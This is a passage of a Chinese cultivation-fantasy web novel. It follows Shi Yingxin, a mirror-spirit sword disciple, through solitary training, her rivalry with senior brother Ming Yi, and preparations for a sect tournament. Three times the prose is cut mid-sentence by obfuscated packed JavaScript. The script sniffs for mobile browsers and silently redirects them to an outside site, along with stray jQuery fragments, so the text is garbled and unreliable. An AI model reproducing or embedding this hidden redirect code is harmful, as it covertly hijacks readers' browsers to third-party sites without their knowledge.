师侄的奇特之处,陈久略有耳闻,这会人在眼前,不爱八卦的他也新鲜地打量起来:“哦?那这么说,你要是照了我,也能效仿我的剑意?” 石映心点点头,之后又想起什么,摇摇头说:“师父不让我照。” 真听话一孩子。 陈久瞅着她头顶不对称的双丫髻,幽幽一笑,轻哼道:“我知晓你的照人之法不过是镜花水月,片刻便忘,寻常剑式就不好记,更别提剑意这般神妙之物;你方才竟能在招式中从善如流地效仿出慕雲和明易二人的剑意,想来平时没少照他们,怕不是为了投机取巧?” 石映心:。 被发现了,她心想。 她确实偷摸地照过几回,为了快些学会那些飒爽的剑招;本是没学剑意的,但练了几次剑式之后才发现,没有剑意耍起来不得劲,所以就学了一些些,一点点,一扭扭。 师父没发现,大师兄也没发现,陈久师叔发现了。 她不知道做错事该怎么办,只无辜地抬头望着师叔,心中空空的、虚虚的,有些像害怕,有些像偷摸……难道这就是心虚? 见她惘然的神色,陈久心里好笑,面上严厉道:“石映心,你可知错!?” 石映心肩膀一抖:“知错了。” 约一百步远外就是二阶弟子练剑的地方,这里已经能瞧见那堆月白色的重重身影,但陈久却没继续往前走,他伸手拎起小师侄,腾空而飞,一路飞去了练剑场后的一片竹林前,这才将她放了下来。 林风簌簌,吹得竹林轻轻摇摆,沙沙作响。石映心左右看了看,一个人影不见,不远处竟然是一片悬崖。 “石映心。” 她转过头来,看见一只大手隔空盖在她的额前,她抬眼瞧见师叔手掌心新的旧的薄的厚的破了又长了的茧,遮住了光亮。 陈久的脸被他的手遮住,语气不温不火:“师叔现下要废去你所有剑法,那些剑式你应还记得,你就继续练着;在你练出独属于你石映心的剑意前,就一人在黑竹林好好修行吧。” 一人在这?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15668868|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她不要! 石映心这才意识到事情不妙,见那掌心浮起灵光,她急忙说:“师叔,映心知错了,以后不会再照人了!” 手掌后的陈久似乎摇了摇头,叹道:“你是镜灵,就算不照人,双眼一睁一闭之间,无意也会效仿,也许你自身尚不清楚,可我见你舞剑,处处是明易和慕雲的影子;你是天赋异禀不错,可纵使世间大道万千,也走不得别人的路啊。” 石映心被那掌心的光照得逐渐迷瞪起来,脑袋晕晕乎乎,猛地瞧见似乎有一道闪电迎面刺来,她下意识两眼一闭——晕了过去。 簌簌。 沙沙。 等她再次醒来,发现自己孤身躺在竹林之中,竹子竹叶遮住了半拉天,绿朦朦一片;她爬起来看了看,四周毫无人声,更瞧不见人影,除了风伴竹子的动静外,偶尔听到几声鸟鸣。 石映心在原地发呆了一会,缓缓感受到自己心里升起来的委屈,这是她第一次由自身产生委屈,可不能像平时,觉得不舒服了就弃去;这情绪酸酸涩涩的,捏着她的心脏和鼻尖,让她流出了眼泪。 还没有照过流泪的人,自己倒是先哭了。 石映心不适应地擦去两滴眼泪,心里惘惘的,无力地拿起落在边上的木剑,心想等她练出了自己的剑意,就能和大家一起玩了。 她拿着剑,先做了个架势——往常这时候,脑海里会出现两个人的模样,她的肉身也会无比自然地效仿;但现在她的大脑一片空白,石映心皱眉捂着脑袋摇摇头,手中的剑落到了地上。 陈久师叔真的把她的剑法都消除了…… 不,她明明记得所有剑式,就算练的剑法没了,招式没可能不会的! 这么想着,石映心重新捡起剑来,现在只有这把剑陪着她了。她开始练基础剑法三式二十七招,所有动作都记得,但一招一式之间少了一些流畅、多了几分生涩,明明她还有些肉身记忆;可三式毕后,自己也清楚与以往不同了。 练完一回,她又杵在原地发呆了一会,木木的神情不知在想什么。 簌簌。 沙沙。 她忽然挥起剑砍向前方的竹子,这黑竹林的竹子每一根都是又硬又粗,砍这一下反倒让她的手腕一震,荡起酸涩来。 自讨苦吃。 气死了。 明易第一次见小师妹生气。他本隐身藏在她砍的那棵竹子上,因为不想挪窝,所以加固了竹子的定性,为小师妹的手腕疼出了一份力;这会他高高地俯瞰着小师妹气得拿木剑乱砍——主要砍他身下这棵。 这不是徒劳无功吗?他抿住嘴角的一抹幸灾乐祸的笑,继续观察。 见她砍了一会,期间擦了几下眼泪,然后大概是明白无用了,自己也累了,便抱着竹子瘫了下来,似乎和竹子重修于好了,可怜兮兮地把手擦下来的眼泪擦在竹子上;这么休息了一会后,她又站起来拿起木剑,继续开始练她的基础剑法三式。 一招一招,一式一式,一回一回。 她脸上浮云般的、一瞧就是装出来的肃穆,慢慢地染上一些真实的狠劲。 不服气?呵。 明易在竹子上看了会,见她渐入佳境,自觉完成了师叔的吩咐,闪身离开去找地练剑了——他可不想有被这笨蛋赶上的一天。 11. 第 11 章 石映心练了一天的剑,快天黑的时候,看见大师兄御剑飞行在竹林间如游蛇般飞来——一天没见人了,她兴奋地跳了起来:“大师兄!大师兄!我在这!” 明易落在她眼前,朝她一抬下巴:“上来。” 一上寒竹剑,她就忍不住说:“大师兄,我不想在这里练剑。” “跟我说做什么?”明易御剑飞起,“找陈久师叔说去。” 石映心撅了下嘴,不说话了。 她坐在剑上发呆,双眼无神地路过许多风景,忽然回了神,定在了明易的身上,缓缓地眨了一下——大师兄为什么有些高兴?为什么这高兴偷偷摸摸的、不动声色的,完全没在他脸上看出来? 因为见不得人! “大师兄,你幸灾乐祸!”石映心站起来,对着明易的背影谴责道,“你看我不高兴,你高兴了!” 明易头也没回,语气悠悠然地警告道:“我不是说了,不准照我?” “……我没照你,我看出来的。” “你看我背影如何看得出来?” “……就是看得出来!” 这撒谎的好习惯不知道和谁学的。 明易轻哼一声,控制着寒竹剑陡然一转,石映心没有防备,“啊”了一声,身子一歪,眼见就要站不稳,连忙往前一扑,扯住了明易的腰带。 明易一吓,低头看去,但石映心却干脆放弃了稳定身形的抵抗,两只手拉住他的腰带,一起往空中倒去;她动作很快,明易本就分神控制着寒竹剑,确实没反应过来,猝不及防跟着她一起倒了下去—— 不知道死的笨蛋! 寒竹剑兀自往前飞了一会,忽地回过神来停住了,连忙冲下去找主人。 呼呼呼。 呼呼呼。 风吹得石映心的耳朵好吵,灌入她的衣领里冷飕飕的,不过很快就有温暖的触觉,是大师兄抱住了她;石映心抬头一看,瞧见大师兄垂眸看她,眼神比风更冷。他撇开视线掐了个决,二人就漂浮在空中,寒竹剑又来到了脚下。 “安分点。”他拎着人放到剑上,语气听着有些咬牙切齿,“若有下次,我便由你摔下去、粉身碎骨,再也拼不回来。” 什么“碎”“拼不回来”的,这话简直是骇镜听闻! 石映心的小心脏都颤了一下,本想不服气地说“明明是你先乱飞”,但人在寒竹剑上,又自知没底气,便嘟了下嘴坐下来,撇过头不应声。 明易看她一眼,转身继续御剑。 大师兄好讨厌。 石映心瞥了眼那个高挑的背影,心中闷闷地想。 有什么办法能教训他呢? 可她现在人微法弱,学识浅薄,真是打也打不过、骂也骂不过,郁闷得很! 摸摸胸口,像是心上长了香菜,好不舒服! 她看着剑下的风景,天色已然昏暗,只能瞧见山与殿宇模糊的影子。石映心双目发直、出神地想,师父夸她天纵奇才,师叔说她天赋异禀,这些话她也没少在别人夸大师兄的时候听到过。所以她和大师兄究竟谁更厉害一些呢? 也许旁人也说不准。 不过这又何妨?她无所谓输赢胜负,不懂得成王败寇,只知道有人让她不高兴了,那她便要让对方也不高兴。 照人照心,爱恨恩仇,如何相抵? 人人都会自食其果。 大师兄,你也是。 * 七年后。 “今日去黑竹林的是谁?” “好似是轮到莫默师兄了?” “哈哈!那我猜,不过半炷香便要回来了!莫默师兄就知道使小聪明,这会怕不是又要装崴脚了躲过一劫?” “近日天色多变,我猜是要说染了风寒头疼!哈哈哈哈!” “嗐,陈久师叔是把我们当妖鬼整,归壹派的弟子中,能和映心师妹过上几招的也只有明易师兄了,可他下山还未归来,可苦了我们呦!” …… 黑竹林。 莫默捏了隐身诀躲在竹子间,风过两鬓,脸颊泛痒,愣是不敢挠一挠。 好痒,可恶的风! 随风而来的还有一女子的朗声:“莫默师兄,别躲了,快出来吧~大不了我让你三招,不叫你回去丢了面子,好嘛?” 她声音轻快活泼,明面上的善解人意,细听似乎有些嘲笑之意。 莫默闭上眼睛,汗水划过他的眼皮,像是流了泪一般,他缩了缩肩膀,抱着剑一动不动。 好害怕,可恶的小师妹! 见他没回声,那女声强硬了一些:“师兄,你出不出来?” 莫默和她相熟,知晓她这会有几分恼怒了,更不敢出去啊。他与小师妹皆是金丹后期,隐身诀勉强能瞒住彼此;可小师妹如何聪慧机警,若不是他修了他师父的“遁天入地”大法,在偷鸡摸狗一事上天赋过人,早就被她发现了! 哼。 找不出莫默,石映心有些不畅快,倒也不着急,手腕转着她的木剑慢悠悠地在竹林间走来,忽地停在一处,轻轻合上双目。 照人之物便是镜。 她记得……莫默师兄的剑镦是银质的?不知道有无一处足够平滑、能照出一些人影呢? 嘻嘻,找到了。 石映心抬起眼来,望向十步远外那棵竹子,不动声色一笑,一转手中的木剑往边上一刺,木剑飞入竹叶间兜了一圈又飞了出来,再回到她手中时,剑上层层缠了一条一指粗的竹叶青蛇。 她举着剑,像在举着糖蛇葫芦。 “师兄,”声音又变得温和可亲起来,“你再不出来,我可去找你喽?” 没有回音。 不知好歹。 石映心不再给对方机会,手腕一转就将木剑抛掷而出,只见那木剑跟长了眼睛似的,咻地穿过层层竹叶,来到莫默脸侧,“铮”地一声插入竹子之中。他完全没反应过来,吓了一跳不说,心惊胆战一扭头,那只蛇的蛇信子都吐到他眼前了—— “啊啊啊!!” 莫默惨叫连连地从竹子摔下来,余光中隐约晃过小师妹的身影,似乎是好整以暇地站在那,没打算救他这位倒霉师兄的。 就这么点距离,几瞬之间便要落地,莫默余惊未消,捻飞天决都来不及,已经做好了摔一屁股的准备。 倒霉,该有多疼啊! 他闭上眼睛预备迎接疼痛,谁知一阵风过,忽地感觉腰间被人托了一下,接着人就被掰正了过来,双脚居然不轻不重地落在了地上,毫发无损,不疼不痒,真是大喜过望! 难道是小师妹良心发现救了他? 真的假的…… 这 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不等明易再说,她两三步又飞过来,一副要玩个尽兴的架势,明易微不可察地叹了口气,使着轻功,转身往竹林深处飞跃去。 “大师兄!” 石映心不知道他跑什么,一头雾水地跟上去,留下莫默在后头嚷嚷着,问他们去哪里。 几息之间,二人来到黑竹林深处的竹潭,绿莹莹的潭水上游着金色的日光,照得水面上朦胧微闪。 石映心见明易背对着她站定在谭边,恶从心起,屏息凑近了,还捻了隐身诀来到他身后,两只胳膊一抬——好似碰到了,其实推的是空气,明易反复后脑勺上长了眼睛似的,侧身闪开了,微蹙眉头,神色无奈地看着她。 石映心没做成坏事,居然一点也不心虚,高兴地和大师兄问好:“大师兄,你什么时候回来的?” 明易轻哼一声:“前脚刚进门,后脚就有人叫我来黑竹林救莫默,你真是不让人省心。” 石映心撇嘴:“明明今日轮到他和我练剑,谁知道一来就用‘遁天入地’躲了起来,让我一通好找!白费我时间。” 明易微微摇头:“既是如此,你也不该戏弄他。” 石映心莫名其妙:“我什么时候戏弄他了?” “你不知道莫默怕蛇?” 石映心转了下眼珠子:“知道也有忘了的时候。”又问:“这就叫戏弄吗?” 明易嘴角一扯,也是无语:“罢了,与你说这些有何用?我来找你还有一事,马上便是摘星大会,魁首的奖赏是黑月如水,得此便能破镜入元婴……师父问你准备好了没有?” 石映心眼前一亮:“黑月如水是什么模样?” 她总是这样,几句话说下来,只听着自己想听的:“到时你便瞧见了。” 她又问:“若是我夺不得魁首呢?” 明易平静地说:“你便破不了境,下不了山。” “我可以偷偷下山。”已经开始想歪法子了。 明易冷笑一声,盯着她想做坏事也显出无辜的脸庞:“难道你想我接到一份下山捉出逃师妹的任务?” 石映心:…… “你偏要接吗?”她不满道,“坏师兄!” 明易的视线飘忽到湖面上,波澜无痕的绿水静谧安详,他幽幽道:“论坏,我是比不过你的。” 12. 第 12 章 实话实说,自他入归壹派以来,不日便有了天才的名号,他既有卓越的天赋,又有勤学苦练、天道酬勤的刻苦心性,至此已是人中龙虎,前途无量;上天待他确实不薄,赋予他天人之姿、非凡容貌,平日待人又温文尔雅、谦逊有礼…… 谁不夸一句世间少见的英才啊! 偏偏让他遇见了石映心。 一个年岁轻轻、金丹后期就能和元婴后期修士打得不分你我的奇女子;一个能用怪异本事“照”出他阴暗内心的怪镜子;一个古灵精怪、有事大师兄没事坏师兄的……坏师妹。 “噗通——” 一瞧见这竹潭水,他耳边又响起几年前的落水声。 那时候小师妹已独自在黑竹林修炼了两年,平日除了陈久师叔来指导她,都是她一人无聊地耍剑。 这日天虚仙尊来找他,说是偶然得一宝物,炼出一面照不出人影的黑镜,也许佩戴在身上,能让石映心“照”不着。 有这好东西?明易不乐意和石映心相处,就是不想被她“照”,这会自然不愿推辞,说了几句感激之言就收下了。 找到人一试——真是如此。 “咦?”石映心瞪大眼睛看着他,“大师兄,我怎么……奇怪?”说到后面没说了,自知心虚。 她果然又不经同意照他了,明易皮笑肉不笑道:“你又照我。” “我没有。” “照不着我是不是?” “是啊……”石映心皱眉疑惑,“为什么照不着你?我今日还没照人呢。” 明易不喜她平日明知故犯,这会坏心地不想如她意为她解惑,故意不说,转开话题:“陈久师叔说,日后就由我来与你练剑过招,每日一个时辰。你满口一人练剑无聊,如今高兴了?” 什么高兴不高兴,要点在这吗?石映心着急起来:“大师兄,你快告诉我,为什么我照不了你?” 明易微抬下巴:“拿剑吧,先过基础剑式。” 石映心:…… 坏师兄。 她闷闷地拿起剑,心有旁骛地和他打了几招,敷衍得很。明易也不惯着她,把她手上的剑打飞了,挂在十几步远外的一棵竹子上,不温不火道:“把剑拿回来。” 石映心“哦”了一声跑到竹下,抬头看了眼那挂在竹子枝干上的木剑,先是用脚踢了踢,竹子咬定在那,任她东西南北踹;她这会刚学飞天决,轻功也不熟悉,但人小胆大,脚一蹬就上去了,双手一抱,扒拉在竹子上。 还是拿到了。 只是脸还没笑开,手刚抓住木剑,那剑却猛地带着她飞了起来,石映心措手不及地叫了一声,又怒又气地喊:“大师兄你做什么!!我要告诉师父——” 近日她特别喜欢告状,不知道跟谁学的。 明易轻笑一声,悠悠跟了上去。 木剑带人飞到了竹潭边,倒是没让她摔着。石映心落了地,余气未消,恶狠狠地把木剑摔倒了地上,喘了两口气才想起这事罪魁祸首是谁,把剑捡了起来擦了擦,瞪了眼飞到她边上的那个人。 明易就当没看见她幽怨的眼神:“专心练剑,我不是来与你浪费时间的。” 石映心却说:“是你让我不专心的,你不告诉我为什么我照不见你。” 简直是歪理:“好,若是你能胜我一招,我便告诉你为什么。” “你说真的?” “我可不像某人,满口胡言。” “好吧。”石映心拿起剑说,“大师兄,那你快点。” 反倒催起他来了。 二人便开始过招。明易于情于理地“关照”她,不用她没学过的剑招,但怎么说他也是勤奋修炼十年的天才少年,一招一式早已熟记于心,又有相对丰富的实战经验,就是新天才石映心,也无法轻易胜过他哪怕一招。 这里说的是轻易。 她有一招很坏,叫自断剑。旁人过招时要将灵力附着在木剑上,让脆弱的木头不易断裂,灵力越强,木剑越坚硬;她呢,就故意在剑碰剑之前用灵力先把剑折断了,让对方那一剑落无反力、一时收不回来——就是要这片刻的怔愣。 剑断。石映心瞅见明易眉目一凝,心中暗笑,飞快接上一记扫堂腿,趁大师兄的注意力转移到脚上时,拿着短剑刺向他的手腕。 接下来发生的一切就很快了。 小师妹先前几招都在他预料之中,明易自是知道收力,但这会她搞突然袭击,他惊诧之时没控住身体自然反应,感到手腕痛时下意识震开一阵灵力—— “啊!” 扑通—— 石映心尖叫一声,飞起落入潭中,惊起一大片水花浪荡。 “石……”明易失言,看看自己的手腕,又看看蛄蛹的水面,一时心情复杂。 她飞得不远,就落在潭水不深的岸边上,很快就冒了头出来,一颗湿透的脑袋茫然地看着岸上的人,“咳咳”地吐了两声水,眨了眨进水后酸涩的眼睛,仿佛是在流泪一般。 明易瞧她这狼狈的模样,心说自己不是故意的,也不免感到一些愧疚,正想问她要不要帮忙,就听她道: “大师兄,你怎么这样!打不过就打不过嘛,居然害我落水……” 明易本是想说点道歉的话的,没想到听她谴责起来,还说自己打不过她,心下呵呵,也是有几分不服:“你耍这些阴谋诡计,怎么好意思正大光明地认赢?” 石映心抹了把脸:“什么是阴谋诡计?” “你我比的是剑法,你方才却故意断剑,你自己说,胜的是你的剑法还是你的计谋?” 石映心一脸不解:“哪里有差别?无论如何,都是我赢了一招。” 明易一本正经道:“我与你切磋剑法,是受陈久师叔所托,助你精进功法;而你一心想赢我,却是为了他事。心正则行正,你竟不择手段,还问差别在哪?” 他说了这一大堆道理,石映心懵懂地听懂一些,但她这会只在意一个事情:“大师兄,你就直说了吧,到底告不告诉我?” 她简直冥顽不灵。 教孩子真不容易。面对石映心,这两年他经常有这感悟。偏偏已经熟悉了自己是她大师兄的这层身份,平日也不由得照看她,望她日后有所成——至于是否比他还天才,到时候再说吧。 无奈摇摇头叹了口气,明易抱胸握剑站在原处,看着她的视线渐渐从认真变得冷淡了许多:“上来,继续练剑。” 石映心见他摇头,心下委屈,不解自己明明赢了,大师兄还要找这一大堆借口……她往岸上走了两步,身子很沉,抬头朝岸上的人说道:“大师兄,你拉我一把,我脚下好似灌了泥般的重。” 水里有泥沙也是正常的,明易便伸出手去,弯腰要去拉她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15668870|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她抓住他手腕的时候他的腰还没弯定,正是一个动作之间最不稳当的时候,明易的危机意识感到一丝不对劲,但他压根没在意——毕竟谁知道他的小师妹会跟个水鬼似的把他拖下水呢? 扑通—— “石印……” 明易一头撞入水中,余光晃过小师妹湿重的月白色衣袍,双丫髻上戴着的桃色簪花,接着就是湖里的一片水绿景色了。 正是夏末,湖水微凉,浇得他心头的火越烧越旺。他要往上游,谁知那本来撑着他背部往上跳的人又把两只脚踩在他的双肩上一瞪—— 好、好,好! 明易伸手抓住她的长靴,她凝滞了一会,干脆脱鞋而去,连足衣都不要了;明易在水中瞧见那只莹白的脚丫扑棱着往上游,近在咫尺的手终究还是放过了这只鱼。 哗啦。 他浮出水面,抹了把脸,湿红的双眼阴沉沉地看着站在岸上、已经浑身干爽的小师妹:“你做、咳……你做什么!” 石映心盯着他湿漉漉的脸庞,回想起她许久许久、还没当人之前在哪里见过的一块沾水的宝玉,晶莹剔透的非常好看,捧在手心里就叫人爱不释手。她瞅了一会后说:“大师兄,这算不算你方才说的……阴谋诡计?” 明易一愣,怔怔地看着她。 “可你不使阴谋诡计我也落水了,我使了阴谋诡计你也是落水了。”她眨着眼睛看他,轻快一笑,“不管有没有差别,结果都很公平,是不是?” 她站在岸上,双手抱胸握剑,垂眸瞧着水中的他;亦如方才他在岸上、她在水中的情景。 宛若镜面一般。 唯一不同的是,岸上人光溜着一只脚,水中人手上拿着她的长靴。 * “大师兄,你盯着潭水发呆什么呢?”石映心瞅瞅竹潭,什么也没有啊。 “没什么。”明易淡定地转过视线,朝她道,“此次摘星大会,你同梦真和换月一道,师兄妹之间也没什么心眼子,我与师父稍加安心;不过,你与换月毕竟比梦真晚入门派几年,他对摘星大会更熟悉些,行事中要听你们二师兄的话,不要太肆意妄为。” 听二师兄的话? 石映心含糊地“哦”了一声,又道:“换月是听我的话的。” 曾换月本是普通内门弟子,三年前意外掉下过梦涯,门派上千人出动找寻一天一夜,好险是找回来了,伤痕累累不说,连神智都不清了一段时日,嘴里吐些胡言乱语,像变了个人似的,连自己的名字都不认得。 送去陶远那吃了几服药:“瞳孔无涣散,神智亦清楚,脑子没病。” 于是又转去慕雲那喝符水,说是驱邪的,吐了几回后连连求饶:“我记起来了、我记起来了呕——我就是曾换月!呕——” 这会正值七年一度各大仙君收亲传弟子的时候,归壹派众多仙君之中,就慕雲收的弟子最少,门下还有两位天才弟子,屡次惹来其他仙君的嫉妒和不满。 “都是拿同样的灵石,为何她只教三个弟子!” “那明易和石映心皆是天才之辈、顾梦真的炼器术也是巧夺天工,她养这三人不要太容易!” “慕雲作为归壹派少数上了大乘期的仙君之一,难道没有义务广收弟子、传承功法,尽为我门派发扬光大、步步高升之责?” “我不服啊!!” 13. 第 13 章 这日又收到投诉的天虚仙尊来到云雨峰,看见喝了几日符水后面如菜色的曾换月坐在院子里给石映心往木剑上画小人,走进屋里对师侄说:“慕雲,我看你与这曾换月有师徒缘分,你收了她吧。” 曾换月本是修符阵的,确实对上慕雲的法门。她这几年经常听见映心在耳边说曾换月的事情,什么“换月买了新话本给她看”“换月往书上画画被夫子批评”“换月的符箓很厉害”之类的,倒是对小姑娘有些陌生的亲近,想了想便应下了。 拜师宴后,石映心成功进阶三师姐。 不过她一开始也不是很高兴,因为往日的好友居然“不认得”她,虽是知道她的名字,但瞧她的眼神很陌生和警惕,也不和之前那般叫她“映心”了,非常顺口地改叫了“三师姐”。 三师姐很苦恼,她能照到曾换月,知道她不是装的,师父和师叔也是听了她的话,对此事比较重视…… 石映心:难过。 而且有一段时间,曾换月经常叫嚷着要寻死,说一些“死了就能回家”的胡言乱语,今日要去过梦涯跳崖,明日要去竹潭溺水,隔日又要去后药园服毒…… 石映心跟在她身后,御剑飞行把她从空中救下,跃入水里捞人上来,用灵力将她吃的噗噗草的毒素逼出来…… 曾换月倒在她怀里弱弱地说:“三师姐,要不你就从了我吧,让我死……” 石映心认真地看着她:“师父说,君子不强人所难。你若是真的想死,我不会救你。” 曾换月瞳孔一缩,她知道这位鼎鼎大名的三师姐的本领,心里也是五味杂陈,又惊又怕。 自此之后才算是老实了。 好了,话说回来。 石映心此时是金丹后期,破镜在望;顾梦真早该破镜了,可这臭小子实在不想上元婴接任务下山,愣是迟迟不破;曾换月上个月刚破金丹,这个月还在为此事兴高采烈着呢,让她练功她就喊“破镜耗神一百天,还没休息够”。 摘星大会的参会条件是金丹以上,元婴以下,正好给这三人卡上。 明易听她说什么“换月听她的话”,嘴角微抽:“你与换月倒是臭味相投。在你们三人之中,非要选一个靠谱的,竟能选到顾梦真身上,他何德何能?应要感激你们。” 石映心听出大师兄的阴阳怪气,也不恼火,很正经地说:“天元师公说了,我们是各显神通。” 明易:“呵呵。” 他瞅着她已经瞪起来的眼睛说道:“我不管你们如何,总之拿下摘星大会魁首,届时随你们折腾。” 说完转身要走,实在是忙得很,一回来就来找她,他还赶得去复命…… “大师兄。”石映心叫住他,见他转过来,用很平常的语气问,“倘若我得了魁首,成功破镜入元婴,是不是说明我比你厉害了?你当年进元婴用了八年多,我才七年有余呢。” 明易整个人都凝滞了一会,视线停在她的脸上,也许想找一些嘲弄和嘚瑟,但怎么样也只瞧见寻常的神色,和她问“晚膳吃什么”的时候并无分别。如此让他也不能介怀起来,挪开视线道: “你算错了,是比七年前的我厉害。如今我是元婴后期……时过境迁,人是会进步的,等你哪一日境界在我之上再慢慢高兴吧。” 石映心“哦”了一声:“可有那一日,师兄你是不是不高兴?” 明易嘴角不自然地微抿了一下:“你是我师妹,若日后你有所成,师兄也沾光。” 不等她回复又道:“不与你说了,我还要去万事堂复命。” “哦。” 瞧着他御剑飞走,石映心无聊地甩着剑花,慢悠悠地想:沾光和高兴是一回事吗?好烦,师兄身上还戴着那面黑镜,她这几年都照不了他的心思,每每都不得劲……怎么办呢? * “师姐!”回到她的石头洞,还没下剑就瞧见曾换月坐在她院子里朝她招手,“你练完剑啦?” 石映心落了地说:“大师兄回来了。” “我早就听到风声了。”曾换月撇了下嘴,唉声叹气起来,“烦,他一回来,简直是珠玉在眼前!师父又要念叨起来,说什么大师兄多勤奋多刻苦,总之是鄙视我懒呗。” “你当耳畔风就是了。”石映心说,又问,“珠玉在眼前是什么意思?” 曾换月:“在我眼前讨人烦。” “哦。”石映心想了想,“珠玉难道不是宝贝?” 曾换月摇摇头:“师姐你不懂,这是要对比的。若你是商人,自然喜欢珠玉;若你是珠玉边上的顽石,是不是就看它讨厌起来?” 石映心:“我不讨厌大师兄。” “你也是珠玉!”曾换月哼哼一笑,“你们俩惺惺相惜。但我也不是讨厌大师兄的意思……哎呀解释不清,不讲这个了,你快来看我写的新小说!” 她把小师姐拉到石桌边上坐下,上头放着一本有些被折腾狠了的本子。曾换月着急地帮她把页面翻开,石映心顺从地垂眸去看。 书名没写在书衣上,欲盖弥彰似地写在内页第一面:《被无情道师父囚禁了》。 石映心:OO 她来不及多想两分,又翻了一页: 【让归贰派享誉天下的不止是其登峰造极的修道之法、刚正不阿的正道风范,更有一惊才艳艳、独步天下的无情仙君,叫无数男女弟子心生仰慕。据说这位玄风仙君是天人之姿,拥有蚁惊之貌……】 石映心看到这里不得不问:“蚁惊之貌是什么意思?” 曾换月瞪大眼睛说:“就是路过的蚂蚁也惊叹的美貌啊!和沉鱼落雁、闭月羞花是一个意思。” 石映心看她煞有其事的表情,心说原来是自己书读少了。 换月果然很聪明,不是师父他们所说的“有疾于首”。 她正要继续往下看,忽然耳尖一动,听见随风传来的“咔咔”声,便抬首道:“二师兄来了。” 曾换月一句话不说,手一抄就把《被无情道师父囚禁了》收入囊中,若无其事地掏出一张画到一半的符纸和毛笔,坐姿端正地画起来。 石映心觉得她的欲盖弥彰很明显,不过也没说什么,转头看见顾梦真骑着他的大鹏展翅从云中冒出。 顾梦真一落地就说:“曾换月,摘星大会在即,你怎么还有空写那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15668871|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些乱七八糟的话本?大会要用的符箓都画好了吗?” 曾换月毛笔一扔,大声嚷嚷起来:“你不要冤枉好人,谁写话本了?我明明是在画符!瞧不见吗?” 顾梦真也跟着大声:“你要是画符,呆在你的咚咚洞里画就是了,来三师妹这做什么?定是要给她看话本才来的!尽写些古怪的东西,把映心都教坏了,到时候师父怪到我头上!” “我写得哪里古怪了?是你不懂欣赏!” “除了石映心日日被你糊弄外,还有谁欣赏了?” “你胡说!” …… 两人就这么你一句我一句地吵起来,石映心坐一边,胳膊抵在桌上双手撑着下巴,脸上浮着微微高兴的笑容——是在看好戏的,又没有幸灾乐祸,仿佛只是喜欢看。 看了一会,她耳尖一动,又听到云层里传来一些动静,好似是师父的飞雨剑的破空声,啊,师父要来了…… 那等会就更热闹啦。 慕雲老远听见三徒弟的院子里有两个人在斗嘴,飞近后见三徒弟都站起来朝她挥手了,那两个还吵得忘我,气得在空中就骂骂咧咧起来:“吵什么吵!?现在是吵架的时候?” 她两个徒儿宛若裹了热乎糖浆的糖葫芦入了冷水,喀喀凝固住了,怯怯地缩手缩脚起来,脸色张皇:“师父……” “你们两个……”慕雲指着他们,“你们两个!半月后就是摘星大会,还有功夫在这斗嘴?宝器炼好了?符画够了?还有映心——” 石映心说:“师父,我刚刚练完剑回来。” 慕雲于是把手指头挪回去,一个个地骂起来:“顾梦真,你莫不是故意懈怠偷懒?就为了不入元婴不下山?糊涂!不想破境飞升的修士不是好修士,你能不能有点上进心?此次大会若有差错,我第一个拿你是问!” 顾梦真脖子都要缩没了,苦着脸连连点头:“是,师父……” 又骂小徒弟道:“还有你,就你画的那些符,跟买博戏有何差别?旁人十张里稳定出八张中等符,你倒好,要么一张没有,要么猛地给人来一下,自己都不清楚。本就要靠数量取胜,你还三天打鱼两天晒网;我看你也别画了,到后山找屎踩去,多积点福气!” 曾换月被骂得面如屎色,委屈地嗫嚅道:“人家也不想这样的……” 见师父气喘吁吁,贴心的石映心倒了杯茶水递过去:“师父缓缓再骂。” 被骂的两人:…… 骂不动的慕雲:…… “还有你,映心。”慕雲接过茶盏,瞧某人一脸茫然,好像在问“我有什么错”,她长长叹了口气道,“你……你,你……此次大会不只是你两个师公在督察,其他长老也都在,你小心些,知道吗?” 石映心不明白自己要小心什么,但这时候只要乖乖应好就是了:“知道了师父,我都听二师兄的话,二师兄入门比我早,肯定比我明白。” 她二师兄抬了抬眼皮子,欲言又止地看了他三师妹一眼,认命般地又闭上了。 慕雲闻言,还算欣慰地点头:“你还是懂事的……一般情况下。” 自己都骗不了自己。 14. 第 14 章 说正事,她这会来主要是来给石映心送剑,寻常到了她这个境界的剑修早已都有了本命宝剑,可石映心去了万剑洞好几回,始终感应不到属于她的那把命中情剑,要不是她拿着木剑也能打遍归壹派无敌手,慕雲都要急死了。 陈久宽慰她,说像映心这般的剑修“奇”才,能配上她的宝剑定是不同凡响,也许归壹派里压根就没有。这也是慕雲想帮徒弟破镜下山的原因之一——八大洲那么大,总不会找不到吧? 